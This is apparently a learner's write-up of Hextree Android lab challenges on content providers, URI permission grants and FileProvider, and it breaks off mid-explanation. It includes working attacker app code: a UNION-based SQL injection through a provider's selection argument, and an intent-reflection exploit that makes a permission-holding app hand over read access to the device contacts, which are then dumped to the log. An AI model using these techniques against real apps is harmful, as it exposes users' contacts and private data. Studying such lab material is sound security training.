Android has an interesting feature to share data and files with other apps in a secure way. But this also increases the attack surface and there are a few pitfalls developers run into.
A Cursor in Android is an interface that provides read-only, forward-only access to a set of data retrieved from a database, such as the contacts stored on the device. It acts as a pointer to rows in the result set of a query.
Content Provider
What is a Content Provider?
A Content Provider is an Android IPC mechanism that allows apps to securely share structured data with other apps.
It acts like a database API, allowing apps to query, insert, update, and delete data using URIs.
Example Use Cases:
Contacts (ContactsContract.Provider)
Media files (Photos, Videos)
Call logs, Messages
Custom app data sharing
Content Providers are identified and accessed with a content:// URI.
This Content Provider is responsible for storing, managing, and providing access to contacts.
It uses the authority"contacts;com.android.contacts", meaning multiple URIs can be used:
content://contacts/people (deprecated)
content://com.android.contacts/contacts
content://com.android.contacts/raw_contacts
content://com.android.contacts/data
It allows apps with the correct permissions to read (READ_CONTACTS) and write (WRITE_CONTACTS) contacts.
and it's main logic is in class ContactsProvider2
as we queries content provider there is query method defined in ContactsProvider2 class to handle query. similarly there is methods for updating, writing, deleting data etc.
e.g. getContentResolver().query, getContentResolver().update, getContentResolver().delete etc.
Lots of ContentProviders are backed by a SQLite database,
so any of your action is directly mapped to a SQL query which performs SQL commands to make changes in sqlite database.
Now lets' look at challenge, we have a provider aith authority io.hextree.flag30that is exported and mapped to Flag30Providerclass.
and to resolve this you just have to declare in manifest we are querying with this app. As we did previously in services section.
Content Providers can use a UriMatcher to route the incoming queries to different methods. e.g.
public class Flag31Provider extends ContentProvider {
....
static {
UriMatcher uriMatcher2 = new UriMatcher(-1);
uriMatcher = uriMatcher2;
uriMatcher2.addURI(AUTHORITY, "flags", 1);
uriMatcher2.addURI(AUTHORITY, "flag/#", 2);
}
...SNIP...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
StringBuilder append = new StringBuilder("Flag31Provider.query('").append(uri.getPath()).append("'): ");
UriMatcher uriMatcher2 = uriMatcher;
Log.i("Flag31", append.append(uriMatcher2.match(uri)).toString());
SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
int match = uriMatcher2.match(uri);
if (match == 1) {
throw new IllegalArgumentException("FLAGS not implemented yet: " + uri);
}
if (match == 2) {
long parseId = ContentUris.parseId(uri);
Log.i("Flag31", "FLAG_ID: " + parseId);
if (parseId == 31) {
LogHelper logHelper = new LogHelper(getContext());
logHelper.addTag(uri.getPath());
success(logHelper);
}
return readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag" + parseId}, null, null, str2);
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}
public String success(LogHelper logHelper) {
ContentValues contentValues = new ContentValues();
String appendLog = logHelper.appendLog(Flag31Activity.FLAG);
contentValues.put(FlagDatabaseHelper.COLUMN_VALUE, appendLog);
this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_FLAG, contentValues, "name=?", new String[]{"flag31"});
try {
Intent intent = new Intent();
intent.setClass(getContext(), Flag31Activity.class);
intent.putExtra("secret", secret);
intent.addFlags(268435456);
intent.putExtra("hideIntent", true);
getContext().startActivity(intent);
} catch (Exception e) {
e.printStackTrace();
Log.e("Flag31Provider", "Exception in start activity. Restart the target app and try again.", e);
}
return appendLog;
}
You can see first provider class creates URI matcher which assigns different number to all possible path values.
uriMatcher2.addURI(AUTHORITY, "flag/#", 2); here # is placeholder for integer values. which means a path like content://authoritu/flag/123 will match with second URI matcher
long parseId = ContentUris.parseId(uri); extracts integer ID part from URI.
Note: same as broadcast, services content providers also doesn't allow us to launch activity from background to not disturb user UI experience. Unless app was recently opened .
As you have ssen already user supplied data is passed to SQL query, what does that hint sql injeciton. let's look at this challenge
public class Flag32Provider extends ContentProvider {
...SNIP...
static {
UriMatcher uriMatcher2 = new UriMatcher(-1);
uriMatcher = uriMatcher2;
uriMatcher2.addURI(AUTHORITY, "flags", 1);
uriMatcher2.addURI(AUTHORITY, "flag/#", 2);
}
..SNIP...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
StringBuilder append = new StringBuilder("Flag32Provider.query('").append(uri.getPath()).append("'): ");
UriMatcher uriMatcher2 = uriMatcher;
Log.i("Flag32", append.append(uriMatcher2.match(uri)).toString());
SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
int match = uriMatcher2.match(uri);
if (match != 1) {
if (match == 2) {
long parseId = ContentUris.parseId(uri);
Log.i("Flag32", "FLAG_ID: " + parseId);
return readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, "name=? AND visible=1", new String[]{"flag" + parseId}, null, null, str2);
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}
String str3 = "visible=1" + (str != null ? " AND (" + str + ")" : "");
Log.i("Flag32", "FLAGS: " + str3);
Cursor query = readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, str3, strArr2, null, null, str2);
if (containsFlag32(query)) {
LogHelper logHelper = new LogHelper(getContext());
logHelper.addTag(uri.getPath());
logHelper.addTag("flag32");
success(logHelper);
query.requery();
}
return query;
}
public boolean containsFlag32(Cursor cursor) {
if (cursor == null) {
return false;
}
int columnIndex = cursor.getColumnIndex(FlagDatabaseHelper.COLUMN_NAME);
while (cursor.moveToNext()) {
if ("flag32".equals(cursor.getString(columnIndex))) {
return true;
}
}
return false;
}
if path matches /flags it goes on to create sql query String str3 = "visible=1" + (str != null ? " AND (" + str + ")" : ""); and then executes it to retrieve all flags that are visibile =1 . where str is user controlled selectionparameter in query() that we send.
The android:grantUriPermissions="true" attribute in the <provider> tag allows the content provider to grant URI-based permissions to other apps, meaning that you can give specific external applications access to particular URIs within your content provider, even if the provider itself is not exported to the outside world.
When you set android:grantUriPermissions="true", you're allowing external applications (other apps besides your own) to access specific data within your content provider, but only for particular URIs that you explicitly share.
How It Works:
URI Permissions: These are specific permissions granted for accessing certain content within a content provider using URIs. For instance, you might want to allow another app to access just one table or one type of data in your provider without giving them full access to everything.
How the Other App Uses the Permission: When another app tries to access the content provider, it must have the proper permissions. With URI permissions, you can allow another app to access specific URIs in your provider, even if the provider is not "exported" (i.e., accessible to all apps).
this activity recive an intent , modify it with URI of a ocntent provider and add a permission for receiving app. i.e. intent.addFlags(1);which allows receiving app to access resource at content://io.hextree.flag33_1/flags flag 1 is Intent.FLAG_GRANT_READ_URI_PERMISSION this is a temporary permission.
When you use Intent.FLAG_GRANT_READ_URI_PERMISSION (or FLAG_GRANT_WRITE_URI_PERMISSION for write access), you're telling Android to allow the external app to access the resource specified by the URI and only that resource.
code of content provider class.
public class Flag33Provider1 extends ContentProvider {
public static final String AUTHORITY = "io.hextree.flag33_1";
private static final int FLAGS = 1;
private static final int NOTES = 2;
public static String secret = UUID.randomUUID().toString();
private static final UriMatcher uriMatcher;
private FlagDatabaseHelper dbHelper;
static {
UriMatcher uriMatcher2 = new UriMatcher(-1);
uriMatcher = uriMatcher2;
uriMatcher2.addURI(AUTHORITY, "flags", 1);
uriMatcher2.addURI(AUTHORITY, "notes", 2);
}
....SNIP...
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] strArr, String str, String[] strArr2, String str2) {
StringBuilder append = new StringBuilder("Flag33Provider1.query('").append(uri.getPath()).append("'): ");
UriMatcher uriMatcher2 = uriMatcher;
Log.i("Flag33Provider1", append.append(uriMatcher2.match(uri)).toString());
SQLiteDatabase readableDatabase = this.dbHelper.getReadableDatabase();
int match = uriMatcher2.match(uri);
if (match != 1) {
if (match == 2) {
throw new IllegalArgumentException("access to Notes table not yet implemented");
}
throw new IllegalArgumentException("Unknown URI: " + uri);
}
LogHelper logHelper = new LogHelper(getContext());
logHelper.addTag("access-notes-table");
logHelper.addTag("flag33");
prepareDB(logHelper);
Cursor query = readableDatabase.query(FlagDatabaseHelper.TABLE_FLAG, strArr, str, strArr2, null, null, str2);
if (containsFlag33(query)) {
success(logHelper);
}
return query;
}
void prepareDB(LogHelper logHelper) {
ContentValues contentValues = new ContentValues();
contentValues.put(FlagDatabaseHelper.COLUMN_CONTENT, logHelper.appendLog(Flag33Activity1.FLAG));
this.dbHelper.getReadableDatabase().update(FlagDatabaseHelper.TABLE_NOTE, contentValues, "title=?", new String[]{"flag33"});
}
public boolean containsFlag33(Cursor cursor) {
if (cursor == null) {
return false;
}
boolean z = false;
while (cursor.moveToNext()) {
int i = 0;
while (true) {
if (i >= cursor.getColumnCount()) {
break;
}
if ("flag33".equals(cursor.getString(i))) {
z = true;
break;
}
i++;
}
}
return z;
}
in order to reach success we need to include all flag from database that has name flag33.
however that is present in different table. we will need some sql injection also
public class MainActivityHextree extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
if(checkSelfPermission("android.permission.READ_CONTACTS")!= PackageManager.PERMISSION_GRANTED){
requestPermissions(new String[]{"android.permission.READ_CONTACTS"}, 42);
}
((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent("io.hextree.FLAG33");
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag33Activity1"));
startActivityForResult(intent, 2);
}
});
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
String str = data.getDataString();
Cursor cursor = getContentResolver().query(Uri.parse(str), null, "name='flag32' union select _id, title, content, 1 from note", null, null);
//Log.d("url",ContactsContract.RawContacts.CONTENT_URI.toString());
//getContentResolver().
if (cursor!=null && cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
Intent intent = new Intent();
intent.setFlags(2);
} while (cursor.moveToNext());
}
}
here we send the intent receive the content provider URI with permission and send sql payload along with URI.
target application can send implicit intent too with content provider URI and content provider logic is same as last one.
note: without scheme or hostname os won't see your app as correct lsitener. Inititlaly i was doing intent action filter and i was getting error. then including atleast scheme solved it.
Take a look at this intent reflection vulnerability.
public class Flag8Activity extends AppCompactActivity {
public Flag8Activity() {
this.name = "Flag 8 - Do you expect a result?";
this.tag = "ActivityResult";
this.flag = "SswwbqGWnA950TVWt2lccPUGxr4PyWorpunFllh8DOY=";
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
Log.i("Process", "id in stealing flag 8: " + Process.myPid());
this.f = new LogHelper(this);
ComponentName callingActivity = getCallingActivity();
if (callingActivity != null) {
if (callingActivity.getClassName().contains("Hextree")) {
this.f.addTag("calling class contains 'Hextree'");
success(this);
} else {
Log.i("Flag8", "access denied");
setResult(0, getIntent());
}
}
}
when else block executes it sends back the same intent that it recived. in this scenario this target app had access to contacts. which opens a door for a malicious app to access contacts without asking for that permission by just sending a intent with content provider URI and permission flag to this activity.
when it sends back that result intent, it will have temporary permission to access contacts too.
e.g.
public class MainActivity extends AppCompatActivity {
// Cursor cursor
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
Button homeButton = findViewById(R.id.home_button);
homeButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag8Activity"));
intent.setData(Uri.parse("content://com.android.contacts/raw_contacts"));
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivityForResult(intent, 1);
}
});
}
@Override
protected void onActivityResult(int req, int resp, Intent data){
super.onActivityResult(req,resp,data);
Log.d("here","gg");
Cursor cursor = getContentResolver().query(Uri.parse(data.getDataString()),null,null,null,null);
if (cursor!=null && cursor.moveToFirst()) {
do {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < cursor.getColumnCount(); i++) {
if (sb.length() > 0) {
sb.append(", ");
}
sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
}
Log.d("evil", sb.toString());
} while (cursor.moveToNext());
}
}
here we send the content provider URI and permission that we want in our intent . which is reflected back by our target app on receiving it we can query contacts and dump .
FileProvider
Content resolvers are not just used for accessing database content. They can be used to share files in memory with other apps too.
A typical URI generated for this FileProvider could look like this content://io.hextree.files/other_files/secret.txt. Where the sections can be read like so:
content:// it's a content provider
io.hextree.files the authority from the android manifest